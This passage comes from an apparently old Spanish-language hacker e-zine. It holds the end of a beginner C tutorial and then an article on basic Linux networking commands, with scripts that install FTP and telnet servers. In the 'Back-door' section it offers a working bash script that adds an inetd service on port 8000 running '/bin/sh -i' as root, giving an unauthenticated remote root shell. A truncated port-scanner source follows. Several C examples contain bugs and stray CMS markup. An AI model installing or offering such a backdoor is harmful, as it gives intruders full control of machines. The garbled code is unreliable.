entre si.

FUNCIONES CON ARGUMENTOS

Estas son iguales que las anteriores, pero se pasan valores.Tambien dificil de
explicar, pero veras que con un ejemplo se aclara.

int sumar(int a, int b)
{
int c;
c=a+b;
return c
}

En este ejemplo aparecieron muchas cosas nuevas,una es int antes de la funcion,
esto quiere decir que la funcion devuelve un dato de tipo int, por ejemplo  yo
podria asignar una variable en el programa asi:

c=sumar(3,5);
o
c=sumar(variable1,variable2);

y esto me retona el valor, con return [valor o variable]
y los parametros ya te abras dado cuenta cuales  son, fijate  que  tambien  se
declara el tipo de variable que es el parametro.


ARRAYS

Los arrays son conjuntos o matrices, un string es un array de chars  o  sea  u
conjuntode chars.

como se declaran: char esteesarray[largo];
y se accede a cada dato asi: esteesarray[numero del dato];
los arrays son muy utiles, especialmente para los strings. Veamos un ejemplo:

char cadena[30];
gets(cadena);
printf(" %s\n",cadena);

este pedazo de codigo lee una cadena del teclado y la imprime, la cadena es un
array, tambien puedes crear arrays de  int  y  cosas  asi  eso lo  dejo  a  tu
imaginacion, cualquier duda me escribes. 

Los arrays tambien pueden tener mas de una dimension, pero no  varia  mucho el
uso, por ejemplo de dos dimensiones

char dos[3][4];
ahi tengo 12 chars!!!!


PUNTEROS

Esto es algo ya mas avanzado quiza, pero no por eso no hay que aprenderlo, por
el contrario es muy importante y los usaremmos mucho  en  nuestra  labor  como
hacker, porque son muy flexibles y poderosos como veras a continuacion.

Cada variable tiene una direccion en la memoria como se vio  en  el principio,
los  punteros lo que hacen es apuntar a estas direcciones, lo que en verdad se
almacena en la direccion fisica del puntero es la direccion a la variable  que
apunta. Veamos el ejemplo mas claro que existe para esto:

(los punteros se declaran. tipo de variable a la q apuntan * nombre)
para entender los & y *, vuelve a los operadores y pegale suna releida.
---------------------------------------------------------------
#include

void main()
{
int variable;
int * puntero;
variable = 5;
puntero = &variable;
printf("puntero %d\n",puntero);
printf("direccion variable %d\n",&variable);
printf("valor a lo apuntado por puntero %d\n",*puntero);
printf("valor variable %d\n",variable);
}

Con eso ya quedo mas o menos clara la idea de un puntero, ahora es  importante
tambien saber que los punteros se pueden modificar, haciendolos mas  grandes o
peque¤os, para que apunte una casilla mas abajo o mas arriba.

ESTRUCTURAS

Las estructuras son conjuntos de  variables  agrupadas,  por  ejjemplo  si  tu
quisieras crear un software de control de stock  para  una  empresa  (como  me
pidieron a mi), no te conviene hacer un array de strings para los nombres,otro
de int para los presios y todo eso, lo mejor seria  crear  una  estructura que
contenga todo eso. Una estructura se crea de la siguiente manera:

struct{
int uno;
int dos;
int tres;
char cuatro;
}estructura;

para acceder a cada una de estas variables, se hace asi:

estructura.uno
estructura.dos
estructura.tres
estructura.cuatro

Esto nos sirve para estructuras definidas, donde serviria una por elemento, por
ejemplo para una biblioteca uno por libro, en este caso eso  si  es  mas  facil
definir un tipo tu mismo que sea una estructura, eso lo harias asi:

typedef struct{
char nombre[20];
int codigo;
int precio;
}libro_e;

definiendo esto en el cuerpo del programa y luego en main() definirias esto:

libro_e libros[30];

para acceder a cada uno de las vaiables y distintos libros harias esto:

libro[n].nombre[c]

pensando que c y n son variables numericas.


FICHEROS

Los ficheros son muy importantes para por ejemplo guardar datos, en el caso del
ejemplo anterior el programa de control de stock, no servia si solo  ingresabas
los datos y al correrlo de nuevo estaba de nuevo en 0,la gracia es que mantenga
los valores, y para eso usaremos los fichero, obviamente tambien  para  editar,
crear utilidades y con fines de otro tipo.

Un fichero se declara de la siguiente manera (para usarlos d ebes  incluir  la
libreria stdio.h en C estandar):

FILE * archivo;

con esto creaste un puntero a  la  estructura  llamada  FILE, definida  en  la
libreria stdio.h. ahora esto es solo un puntero,para abrir ahora el fichero se
usa la funcion fopen(), y se utiliza de la siguiente forma:

archivo = fopen(nombrefichero, modo);

nombrefichero representa el PATH y  el  nombre  de  archivo  del  archivo  que
queremos cerrar, y modo representa el modo en el  que lo  queremos  abrir, las
cuales pueden ser:

r		Lectura(error si el fichero no existe)
w		Escritura(si el fichero existe, borra su contenido)
a		A¤adir al final del archivo(lo crea si no existe)
r+		Lectura y escritura(error si el fichero no existe)
w+		Lectura y escritura(borra su contenido)
a+		Lectura y a¤adir(lo crea si no existe)
b		Indica que el fichero es de tipo binario

Las opciones w y w+ crean el fichero en caso de que no exista.

ahora las funciones mas imprtantes para el uso de ficheros:

fread(dato,tama¤o dato,size_t numdato,FILE *fp);
en este caso dato es la variable donde vas a meter lo que leas, tama¤o dato es
el largo de la variable(lo mas facil es poner sizeof(variable), size_T numdato
representa el numero de veces que se debe reperi la lectura, por lo general 1,
y el ultimo es nuestro puntero a FILE, o sea nuestro fichero.

fwrite()
usa el mismo formato de fread, pero para escribir.

Y para terminar, cierras el fichero con 
fclose(FILE *archivo);
en nuestro ejemplo de FILE * archivo definido anteriormente, seria:
fclose(archivo);

Con eso ya deberias escribir fichero, por lo menos lo basico, en todo caso  si
hasta ahora has tenido algun problema,no te preocupes, porque al final de este
tutorial se incluyen las direcciones para bajar  los  compiladores  y  algunos
ejemplos desde el principio para que te quede todo claro.


STRINGS

Los strings son conjuntos o arrays de char, por ejemplo
char string[21];
esto seria un string de 20 caracteres, porque se cuenta uno menos. Ya  que  el 
ultimo se le asigna '{jumi [*3] [http://www.govannom.org/e-zines/electron/electron03.txt]}' que representa el fin de la cadena. La verdad es  que
los arrays ya los vimos, pero este capitulo es  para  ver  las  funciones  mas 
utiles de strings( string.h ).

Las funciones que yo mas uso(personalmente) son tres:

1.- strcpy()
Esta funcion es para copiar cadenas.
Ejemplos
char caduno[30];
char caddos[30];
caduno="Hola{jumi [*3] [http://www.govannom.org/e-zines/electron/electron03.txt]}";
strcpy(caddos,caduno);

2.- strcmp()
Esta funcion compara strings.
Ejemplo
int comparacion;
char caduno[30];
char caddos[30];
caduno="Hola{jumi [*3] [http://www.govannom.org/e-zines/electron/electron03.txt]}";
caddos="Hola{jumi [*3] [http://www.govannom.org/e-zines/electron/electron03.txt]}";
comparacion=strcmp(caddos,caduno);

si son iguales devuelve 0, si una es mayor o menor varia en 1 o -1.

3.- strcat()
Esta funcion concatena dos cadenas
Ejempo
char caduno[30];
char caddos[30];
caduno="Hola {jumi [*3] [http://www.govannom.org/e-zines/electron/electron03.txt]}";
caddos="z0rbas{jumi [*3] [http://www.govannom.org/e-zines/electron/electron03.txt]}";
strcat(caduno,caddos);

Despues de esto caduno quedaria asi:
"Hola z0rbas{jumi [*3] [http://www.govannom.org/e-zines/electron/electron03.txt]}"

OjO: el {jumi [*3] [http://www.govannom.org/e-zines/electron/electron03.txt]} no es necesario por lo general,la mayoria de las funciones lo ponen
por si solas!!


ALGUNOS EJEMPLOS

Aqui pondremos algunos ejemplos muy basicos, pero suficientes para que  tu  ya
puedas empezar a crear tus propios programas. No haremos ejemplos de  ficheros
y eso por razones de  tiempo, pero  si  tienes  algun  problema, escribenos  y
responderemos tus preguntas, no te preocupes. Estos ejemplos son solo para los
que recien se inician en la programacion, para que se hagan una idea basica de
como funciona. Y entiendan bien los bucles.

Antes de empezar un  detalle  importante, en  tus  programas  puedes  insertar
comentarios asi:

/* aqui todo
lo que quieras
*/

Esto no afecta al tama¤o del programa, sirve solamente para dejar mas claro el
codigo.

Ejemplo 1:
/* Programa que juega a que tu adivines un numero que el piensa.
   Escrito por z0rbas para el tutorial de C del EST , cualquier
   duda, dudo que las haya, escribe a 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
   */

void main()
{
int numero_pensado; /* este es el numero del computador */
int numero_tuyo;  /* este va a ser el dato que te va a preguntar*/
numero_pensado= 5; /* este es el numero correcto/*
do{
printf("Elige un numero entre el 1 y el 10: "); /* imprime mensaje */
scanf("%d",numero_tuyo); /* lee el numero */
if(numero_tuyonumero_pensado) printf("Mas bajo!!\n"); 
/* si el numero es mayor que el correcto, entonces tienes que probar un numero mas bajo */
}while(numero_pensado!=numero_tuyo);/* mientras no acertes */
printf("Felicidades, veo que has acertado!!\n");/* si lograste salir del bucle es porque acertaste */
}

Bueno obviamente este programa no tiene mucha gracia, porque el  tipo  que  lo
programo sabe el numero correcto y el que lo juega, con ganra  una  vez,  gana
siempre, seria mucho mejor si usaras una funcion random, para  que generara un
numero aleatorio,

numero_pensado=random(limite);

pero yo creo que el ejemplo cumple su objetivo de mostrar el uso de  un  bucle
do{}while(); de if(); y  de  algunas  funciones  de  lectura  de  datos  y  de
escritura.

Ejemplo 2.

/* Programa escrito por z0rbas para el tutorial de C
   Este programa imprime numeros del 1 a lo especificado
   No creo que haga falta pero, cualquier duda escribela 
   a 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
                                */

void main()
{
int numero;
int contador;
printf("Hasta que numero deseas contar?");
scanf("%d",numero);
for(contador=0;contador<=numero;contador++)
  {
  printf("%d ",contador);
  }
}

Este ejemplos esta muy claro, lo que hace es escribir numeros desde 0 hasta lo
especificado, separados  por  un  espacio. Sirve  yo  creo  para  entender  el
funcionamiento de FOR(){}

Ejemplo 3.
Este es un ejemplo cortito:

/* programa escrito por z0rbas para el tutorial de C
   
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
*/
void main()
{
char opcion;
printf("\nPresiona una tecla...");
opcion=getch(); /*funcion q lee un caracter del teclado */
printf("Presionaste la tecla: %c \n",opcion);
}

muy simple no creo haga falta comentario.
podria poner lo siguiente...

Ejemplo 4.
void main()
{
char opcion;
printf("S/N\n");
opcion=getch();
if(opcion=='S' || opcion=='s')
 {
 printf("Elegiste S\n");
 exit(0);
 }
printf("No elegiste S\n");
}


Autor     : z0rbas
Titulo    : Curso de Programacion en C, Reforzamiento
Entrega   : II
E-mail    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 





,ø¤°`´°¤ø¸
-<[ 10 ]>-
`°¤ø,¸,ø¤°

Autor     : EleKtr0
Titulo    : Comandos Basicos en Red con Linux
E-mail    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
Comentario: El articulo escrito esta  orientado  a  quienes  recien  se  estan
            iniciando en el mundo del pinguino, es de un nivel bastante basico.

Indice de Contenidos
^^^^^^^^^^^^^^^^^^^^

1 Introduccion
2 Comandos Basicos
2.1 ping
2.2 netstat
2.3 arp
2.4 traceroute
2.5 nslookup
2.6 rpcinfo
2.7 r-tools
2.8 ssh
3 FTP
3.1 FTP-SERVER
4 TELNET
4.1 TELNET-SERVER
5.0 Extras
5.1 Back-door
5.2 Port-scan
6.0 End of File


Introduccion
^^^^^^^^^^^^

Todos sabemos de las inumerables ventajas que tiene Linux sobre otros sistemas
operativos a la hora de trabajar en red, sea esta una red interna como  es  mi
caso o una red externa como debe ser el caso de ustedes con Internet. Antes de
introducirno de lleno en lo que pretende ser este articulo describire  algunas
utilidades basicas generales que nos ayudaran a trabajar en  redes  de  manera
rapida y eficiente.

Comandos Basicos
^^^^^^^^^^^^^^^^

Unos de los comandos mas basicos es el conocido "ping" cuya sintaxis es la sgt:

# ping host tama¤o numero-de-paquetes

Este comando nos deberia devolver la velocidad de conexion k disponemos con el
host k fue pasado como parametro. El funcionamiento consta  en  el  envio  por
parte del programa de los paquetes  k  especificamos  que  tendran  un  cierto
tama¤o.

Esta aplicacion es util a la  hora  de  saber  si  un  servidor  se  encuentra
operativo en un momento dado o simplemente  para  comprovar  la  velocidad  de
conexion k tenemos frente a  2  equipos  distintos. Se  recomienda  no  enviar
paquetes de tama¤os demasiado elevados ya que esto podria causar algun tipo de
molestias para el host k recibe los paketes...

Para analizar el funcionamiento de  nuestros  ekipo  en  la  red  usaremos  el
comando "netstat" son varias las posivilidades  k  nos  ofrece  este  comando,
veamos algunas de las mas importantes;

# netstat -a host

Este comando nos da una lista de  todas las conexiones del host en ese momento

[root@localhost /root]#  netstat -a 192.168.1.100
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 192.168.1.100:1039      129.142.226.11:www      ESTABLISHED
tcp        0      0 192.168.1.100:1038      200.29.57.145:www       ESTABLISHED
tcp        0      0 192.168.1.100:1044      129.142.226.11:www      TIME_WAIT
tcp        0      0 192.168.1.100:1043      129.142.226.11:www      ESTABLISHED
tcp        0      1 192.168.1.100:1029      200.29.57.145:www       LAST_ACK
tcp        0      0 192.168.1.100:1027      licanray.unete.cl:ircd  ESTABLISHED
tcp        0      0 192.168.1.100:1024      irc.terra.cl:7777       ESTABLISHED
tcp        0      0 *:6000                  *:*                     LISTEN
tcp        0      0 *:mysql                 *:*                     LISTEN
tcp        0      0 *:www                   *:*                     LISTEN
tcp        0      0 *:telnet                *:*                     LISTEN
tcp        0      0 *:ftp                   *:*                     LISTEN
tcp        0      0 *:sunrpc                *:*                     LISTEN
udp        0      0 *:ntalk                 *:*
udp        0      0 *:talk                  *:*
udp        0      0 *:sunrpc                *:*
raw        0      0 *:icmp                  *:*                     7
raw        0      0 *:tcp                   *:*                     7
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags       Type       State         I-Node Path
unix  1      [ ]         STREAM     CONNECTED     22866  @0000002e
unix  1      [ ]         STREAM     CONNECTED     594    @0000000c
unix  1      [ ]         STREAM     CONNECTED     22872  @0000002f

# netstat -i nombre_interfaz host

Este comando nos da informacion de cada interfaz de comunicaion, indicando  el
numero de paquetes  enviados, los  paquetes  perdidos  y  otras  estadidsticas
adicionales

[root@localhost /]# netstat -i 192.168.1.100
Kernel Interface table
Iface   MTU Met    RX-OK RX-ERR RX-DRP RX-OVR    TX-OK TX-ERR TX-DRP TX-OVR Flg
eth0   1500   0     1921      0      0      0      632      0      0      0 BRU
lo     3924   0       15      0      0      0       15      0      0      0 LRU


Al no especificar una interfaz por default me muestra la table  de  todas  mis
interfacez en este caso la local (lo) y la de red local (eth0)

# netstat -r host

Este comando nos devuelve informacion de la tabla de  enrutamiento (route)  de
nuestra makina indicando los distintos dispositivos, como la mascara  de  red,
interface, el Gateway etc...

[root@localhost /]# netstat -r 192.168.1.100
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
192.168.1.100   *               255.255.255.255 UH        0 0          0 eth0
192.168.1.0     *               255.255.255.0   U         0 0          0 eth0
127.0.0.0       *               255.0.0.0       U         0 0          0 lo
default         polux.entelchile0.0.0.0         UG        0 0          0 eth0 


# netstat -s host

Con este comando veremos algunas  estadisticas  bastante  importantes  de  los
distintos protocolos que nuestra maquian esta usando, los mas normales  serian
TCP, ICMP, UDP

[root@localhost /]# netstat -s 192.168.1.100
Ip:
    1680 total packets received
    0 forwarded
    0 incoming packets discarded
    1170 incoming packets delivered
    675 requests sent out
Icmp:
    12 ICMP messages received
    5 input ICMP message failed.
    ICMP input histogram:
        destination unreachable: 12
    3 ICMP messages sent
    0 ICMP messages failed
    ICMP output histogram:
        destination unreachable: 3
Tcp:
    45 active connections openings
    0 passive connection openings
    0 failed connection attempts
    0 connection resets received
    4 connections established
    498 segments received
    607 segments send out
    58 segments retransmited
    0 bad segments received.
    5 resets sent
Udp:
    26 packets received
    3 packets to unknown port received.
    0 packet receive errors
    65 packets sent                 
TcpExt: 

Tenemos otro comando que tmb seria interesante echarle un vistaso, "arp"  cuya 
mision es gestionar las  tablas  de  conversiones  de  direcciones  ARP.  Este 
comando es bastante potente  ya  k  permite  agregar  borrar  y  editar  estas
direcciones, si kisieramos saber info de alguna direccion hariamos lo sgt:

# arp -a 

[root@localhost /]# arp -a
polux.entelchile.net (192.168.1.1) at 00:00:E2:2A:36:E1 [ether] on eth0

# arp -help  /* para mas detalles */

Otro comando bastante usado en redes es "traceroute"  k  indica  el camino que 
recorre cada paquete que sale desde nuestro ordenador hasta el equipo receptor

# traceroute host

[root@localhost /]# traceroute 192.168.1.100
traceroute to 192.168.1.100 (192.168.1.100), 30 hops max, 38 byte packets
 1  192.168.1.100 (192.168.1.100)  0.285 ms  0.113 ms  0.037 ms 

El comando nslookup se usa para saber el nombre del host  y  su  direccion ip,
veamoslo en accion:

# nslookup host

[root@localhost script]# nslookup 192.168.1.100
Server:  polux.entelchile.net
Address:  192.168.1.1
 
Name:    localhost
Address:  127.0.0.1

Ahora bien tambien esta el comando "rpcinfo" para aquellos k esten usando  RPC
(protocolos NFS,NIS) el comando "rpcinfo" es de bastante  utilidad  ya  k  nos 
devuelve los servicios RPC que actualmente estan corriendo en  alguna maquina.

# rpcinfo -p host

[root@localhost /]# rpcinfo -p 192.168.1.100
   programa vers proto   puerto
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper



Las herramientas "r" son: rlogin, rsh, rcp  y  rcmd,  estas  herramientas  nos
permiten entrar a ordenadores remotamente  y/o  ejecutar  programas  en  aquel
ordenador... De esta forma se permite k usuarios accedan a  los  recursos  del
server sin la necesidad de tener una  cuanta creada  para  identificarse  como
usuarios normales, esta automatizacion por decirle de algun modo se realiza de
dos formas distintas:

1) Editando el archivo /etc/host.equiv

Esta archivo debe contener una lista de los usuarios y hosts k podran usar los
comandos R para entrar en nuestra makina, el archivo  editado  debe  tener  un
formato de estas caracteristicas:

host.dominio.cl user

2) Editando el archivo de cada user k esta en su /home/ llamado .rhosts

Es similar al anterior solo k el user k se kiera conectar lo hara a la  cuenta
del user local k tenga dicho archivo en su /home/, su formato es:

host.dominio.cl user


Sintaxis de los comandos R:

# rlogin -l login host
# rsh -l login comando


SSH
^^^
Bueno para quines aun no instalan ssh lo pueden bajar desde:
http://www.ssh.com/download

Y para quienes no sepan de que estoy hablando les contare k  el  Secure  Shell 
(ssh) es  muy  similar  a  lo  que  conocemos  como Telnet, osea  nos  permite 
conectarnos remotoamente a otros  servidores, ejecutar  programas  y  todo  el 
cuento... Lo k hace a secure shell especial es la estricta seguridad que  este
programa imparte cada vez k entra en sesion con alguna makina, esto es  debido
a que toda la comunicacion entre nuestra maquina y otra remota viaja cifrada.

Algunos algoritmos k soporta ssh son: DES, 3DES, IDEA, Blowfish entre otros...
Es bastante importante que manejen bien lo k es el ssh ya que esta siendo  muy
usado ultimamente asique para quienes quieran enterase mas de  que  se  trata
esto  lo  remito  al  articulo  numero  07  (Secure Shell - SSH)  que  realizo
Mr. kl0nk Manson en su e-zine #1 http://www.0ri0n.org

Muy bien ya conociendo y teniendo instaldo ssh en nuestro pc nos  conectaremos
de las sgt`s maneras:

# ssh -l login maquina
# ssh -l EleKtr0 electron-team.cl

# ssh electron-team.cl
  login: EleKtr0
  password:

# ssh login@maquina
# ssh 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

Una ves conectados todo sera igual a una sesion telnet salvo algunos  comandos
extras k tienen que averiguar ustedes mismos...


Transferencia de Archivos
^^^^^^^^^^^^^^^^^^^^^^^^^
Sin duda k una de las mayores ventajas de trabajar en red es la posibilidad de 
poder tranferir archivos remotamente sin necesidad alguna de tener que hacerlo
fisicamente con diskettes o cd`s

FTP
^^^
En redes TCP/IP este proceso se realisa mediante el protocolo FTP  el  que  ya
todos debemos haber usado en mas de alguna  ocacion, para  los  mas  nuevos  y
recien iniciados les dire que mediante este protocolo podemos enviar y recibir
archivos entre masquinas que esten en nuestra red o en Internet.

Asi mismo existen miles de FTP`s anonimos dispersos por toda Internet,en estos
servidores exclusivos a prestar este servicio los usuarios  podran  conectarse
con  una  cuenta  anonymous   y  bajar  utilidades  gratuitas,  versiones   de
demostracion, warez :), mp3, etc...

Para poder enviar ficheros a otra makina o bajarlos de ella  necesitaremos  de
dos programas el primero k hara de servidor en dicha  makina  y  el  otro  que
debemos tener instalado nosotros  k  sera  el  cliente  necesario  para  poder
negociar la transferencia con el servidor.

El servidor FTP en linux normalmente es ftpd variando a wuftpd, es lanzado por
el principal daemon de servicios  "inetd", para  crear  nuestro  servidor  FTP
primeramente deberemos a¤adirlo como un servicio en el  archivo  /etc/services
en el puerto 21,una vez echo esto deberiamos editar el archivo /etc/inetd.conf
y agregar la sgt linea:

ftp stream tcp nowait root /usr/etc/ftpd ftpd -1

esta linea le indica a inetd el programa k debe ejecutar cuando algun user  se
conecte a nuestro puerto 21 con el cliente para FTP, como sabemos  cuando  nos
conectamos a un server  deberemos  primeramente  autentificarnos  con  nuestro
login y passwd para gozar de los veneficios del FTP

Para fines didacticos y recreativos de este articulos he creado un script  que
instala un servidor de FTP anonymous en nuestra makina  linux,  para  lo  cual
debemos tener algunas precauciones:

1) Debes correrlo como r00t
2) No debe existir el diretorio /home/ftp
3) Recuerda k el server ftp en linux es el ftpd o wuftpd 
4) Recuerda k el login es anonymous y el passwd es tu e-mail


-*-*-*-*-*-*-*-*-*-* Corta Aqui -*-*-*-*-*-*-*-*-*-*-*-*

#!/bin/sh
#ftp-server.sh
#FTP-SERVER coded by EleKtr0 // EST
#Script que instala un servidor ftp en una maquina linux
clear
echo
echo "========================[ E ]============================"
echo "[ FTP-SERVER by EleKtr0 [ S ]      
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
       ]"
echo "========================[ T ]============================"
echo
echo
#definicion del nombre y el puerto del servicio a instalar
servicio="ftp       21/tcp"

#definicion de las propiedades del servicio (ftp)
inetd="ftp    stream  tcp     nowait  root    /usr/sbin/tcpd  in.ftpd -l -a"
echo -en "instalando servidor ftp..."
sleep 1
echo -en "\t\t\t   ["
echo -en "\033[1;32m OK"
echo -en "\033[0;39m ]\n"

#aqui se agrega el servicio definido por nosotros para
#incluirlo en los servicios generales del sistema
echo -en "instalando el servicio..."
sleep 1
echo $servicio >> /etc/services
echo -en "\t\t\t   ["
echo -en "\033[1;32m OK"
echo -en "\033[0;39m ]\n"

#aqui se envia la informacion del servicio ya instalado
#al daemon inetd del sistema
echo -en "enviando info a inetd.conf..."
sleep 1
echo $inetd >> /etc/inetd.conf
echo -en "\t\t\t   ["
echo -en "\033[1;32m OK"
echo -en "\033[0;39m ]\n"

#aqui matamos el inetd para reiniciar su configuracion y
#reconosca el nuevo servicio k estara corriendo en el 21
echo -en "reiniciando inetd..."
sleep 1
killall -HUP inetd
echo -en "\t\t\t\t   ["
echo -en "\033[1;32m OK"
echo -en "\033[0;39m ]\n"

#crearemos el user encargado de gestionar nuestro servidor ftp
ftpuser="ftp:x:14:50:Anonymous FTP access:/home/ftp:/bin/false"
ftpshadow="ftp:*:11239:0:99999:7:::"
echo -en "creando usuario anonymous del servidor..."
echo $ftpuser >> /etc/passwd
echo $ftpshadow >> /etc/shadow
sleep 1
echo -en "\t   ["
echo -en "\033[1;32m OK"
echo -en "\033[0;39m ]\n"

#ahora crearemos los direcotrios pertinentes y sus permisos
echo -en "creando directorios del servidor..."
mkdir /home/ftp
chmod +555 /home/ftp
mkdir /home/ftp/bin
cp /bin/ls /home/ftp/bin/ls
chmod +555 /home/ftp/bin
chmod +111 /home/ftp/bin/ls
mkdir /home/ftp/etc
cp /etc/passwd /home/ftp/etc
cp /etc/group /home/ftp/etc
chmod +555 /home/ftp/etc
chmod +444 /home/ftp/etc/passwd
chmod +444 /home/ftp/etc/group
mkdir /home/ftp/lib
chmod +555 /home/ftp/lib
mkdir /home/ftp/dev
chmod +555 /home/ftp/dev
mkdir /home/ftp/pub
chmod +444 /home/ftp/pub
sleep 1
echo -en "\t           ["
echo -en "\033[1;32m OK"
echo -en "\033[0;39m ]\n"
sleep 1
echo
echo "========================[ E ]============================"
echo "[ FTP-SERVER by EleKtr0 [ S ] Instalado Correctamente!  ]"
echo "========================[ T ]============================"
echo

-*-*-*-*-*-*-*-*-*-* Corta Aqui -*-*-*-*-*-*-*-*-*-*-*-*

Una vez corrido el script tendremos corriendo en nuestro sistema el servidor de
archivos FTP Ahora solo nos falta el cliente, este programa biene  por  defecto
en modo texto en todas las distribuciones de Linux, su uso es el sgt:

# ftp 127.0.0.1

Por defecto toma como parametro el puerto 21, a menos k le especifiquemos  uno
distinto:

# ftp 127.0.0.1 33


TELNET
^^^^^^
Ya todos conocemos las caracteristicas de este exelente servicio, para quienes
aun no sepan de k se trata les contare que  lo  k  hace  tan  especial a  este
servicio entre todos los demas es la posibilidad de conectarnos remotamente  a 
otro maquina y trabajar en ella como si  lo  hacemos  normalmente  en  nuestra
maquina, podremos crear archivos, crear directorios, ejecutrar programas (solo
en modo texto, nada de X) como les dije podemos hacer todo lo que  normalmente
hacemos en nuestro computador pero con la  unica  salvedad  k  esto  es  a  la
distancia osea remotamente...

Para conectarnos a alguna maquina k preste este servicio deberemos  tener  una
cuenta de usuario dentro del seridor, supongamos k  nos  queremos  conectar  a 
nuestro propio server, entonces:

# telnet 127.0.0.1
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.

Slackware Linux 7.1 - 2.4.2.

EST login: elektro
Password:
Last login: Mon Oct  9 16:58:33 from localhost
[elektro@localhost elektro]$

Muy bien y para aquellos k no tienen el servidor TELNET aki les  va  un  script
para instalarlo.


-*-*-*-*-*-*-*-*-*-* Corta Aqui -*-*-*-*-*-*-*-*-*-*-*-*

#!/bin/sh
#telnet-server.sh
#TELNET-SERVER coded by EleKtr0 // EST
#Script que instala un servidor telnet en una maquina linux
clear
echo
echo "===========================[ E ]============================"
echo "[ TELNET-SERVER by EleKtr0 [ S ]      
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
       ]"
echo "===========================[ T ]============================"
echo
echo
#definicion del nombre y el puerto del servicio a instalar
servicio="telnet       23/tcp"

#definicion de las propiedades del servicio (telnet)
inetd="telnet  stream  tcp     nowait  root    /usr/sbin/tcpd  in.telnetd"
echo -en "instalando servidor telnet..."
sleep 1
echo -en "\t\t\t      ["
echo -en "\033[1;32m OK"
echo -en "\033[0;39m ]\n"

#aqui se agrega el servicio definido por nosotros para
#incluirlo en los servicios generales del sistema
echo -en "instalando el servicio..."
sleep 1
echo $servicio >> /etc/services
echo -en "\t\t\t      ["
echo -en "\033[1;32m OK"
echo -en "\033[0;39m ]\n"

#aqui se envia la informacion del servicio ya instalado
#al daemon inetd del sistema
echo -en "enviando info a inetd.conf..."
sleep 1
echo $inetd >> /etc/inetd.conf
echo -en "\t\t\t      ["
echo -en "\033[1;32m OK"
echo -en "\033[0;39m ]\n"

#aqui matamos el inetd para reiniciar su configuracion y
#reconosca el nuevo servicio k estara corriendo en el 23
echo -en "reiniciando inetd..."
sleep 1
killall -HUP inetd
echo -en "\t\t\t\t      ["
echo -en "\033[1;32m OK"
echo -en "\033[0;39m ]\n"
sleep 1
echo
echo "===========================[ E ]============================"
echo "[ TELNET-SERVER by EleKtr0 [ S ] Instalado Correctamente!  ]"
echo "===========================[ T ]============================"
echo

-*-*-*-*-*-*-*-*-*-* Corta Aqui -*-*-*-*-*-*-*-*-*-*-*-*

Con eso ya tendriamos nuestro servidor TELNET instalado y corriendo %100.

EXTRAS
^^^^^^

Back-door
^^^^^^^^^
Y aprovechando la situciacion y aunk no  estaba  en el  libreto, les  dare  el
codigo fuente en bash de una simple back-door, quisas no biene al caso pero  a
mas  de alguno le puede servir.

- Corre es script como root
- Luego has telnet al puerto 8000

-*-*-*-*-*-*-*-*-*-* Corta Aqui -*-*-*-*-*-*-*-*-*-*-*-*

#!/bin/sh
#back.sh
#Back-Door coded by EleKtr0 // EST
#Script que instala una Backdoor en una maquina linux
clear
echo
echo "=======================[ E ]========================="
echo "[ Back-Door by EleKtr0 [ S ]    
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
      ]"
echo "=======================[ T ]========================="
echo

#definicion del nombre y el puerto del servicio a instalar
servicio="back       8000/tcp"

#definicion de las propiedades del servicio (back)
inetd="back  stream  tcp     nowait  root    /bin/sh sh -i"
echo -en "instalando back-door..."
sleep 1
echo -en "\t\t\t       ["
echo -en "\033[1;32m OK"
echo -en "\033[0;39m ]\n"

#aqui se agrega el servicio definido por nosotros para
#incluirlo en los servicios generales del sistema
echo -en "instalando el servicio..."
sleep 1
echo $servicio >> /etc/services
echo -en "\t\t       ["
echo -en "\033[1;32m OK"
echo -en "\033[0;39m ]\n"

#aqui se envia la informacion del servicio ya instalado
#al daemon inetd del sistema
echo -en "enviando info a inetd.conf..."
sleep 1
echo $inetd >> /etc/inetd.conf
echo -en "\t\t       ["
echo -en "\033[1;32m OK"
echo -en "\033[0;39m ]\n"

#aqui matamos el inetd para reiniciar su configuracion y reconosca
#el nuevo servicio que estara corriendo en el puerto 8000
echo -en "reiniciando inetd..."
sleep 1
killall -HUP inetd
echo -en "\t\t\t       ["
echo -en "\033[1;32m OK"
echo -en "\033[0;39m ]\n"
sleep 1
echo
echo "=======================[ E ]========================="
echo "[ Back-Door by EleKtr0 [ S ]    
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
      ]"
echo "=======================[ T ]========================="
echo

-*-*-*-*-*-*-*-*-*-* Corta Aqui -*-*-*-*-*-*-*-*-*-*-*-*

Port-scan
^^^^^^^^^
Ahy sientos de miles de escaneadores de puertos,yo personalmente recomiendo el
mejor de todos ellos, "NMAP" lo pueden encontrar en www.insecure.org,pero como
este es mi articulo incluire el fuente de uno echo por mi, su uso  es bastante
sencillo...

-*-*-*-*-*-*-*-*-*-* Corta Aqui -*-*-*-*-*-*-*-*-*-*-*-*

/* Autor  : EleKtr0
 * E-mail : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
 * Titulo : PortScan v1.0
 * Scaneador de puertos con reconocimiento de servicio
 * gcc -o scaner scaner.c
 * ./scaner
 * ./scaner 127.0.0.1 1 8000
 */

#include 
#include 
#include 
#include 
#include 
#include 

main(int argc, char *argv[])
{
struct sockaddr_in direccion;
int s;
int puerto, pinicial, pfinal;
struct servent *Descripcion;

  system("clear");
  printf("\n-[ PortScan coded by EleKtr0 ]-\n\n");

  if (argc <2) {
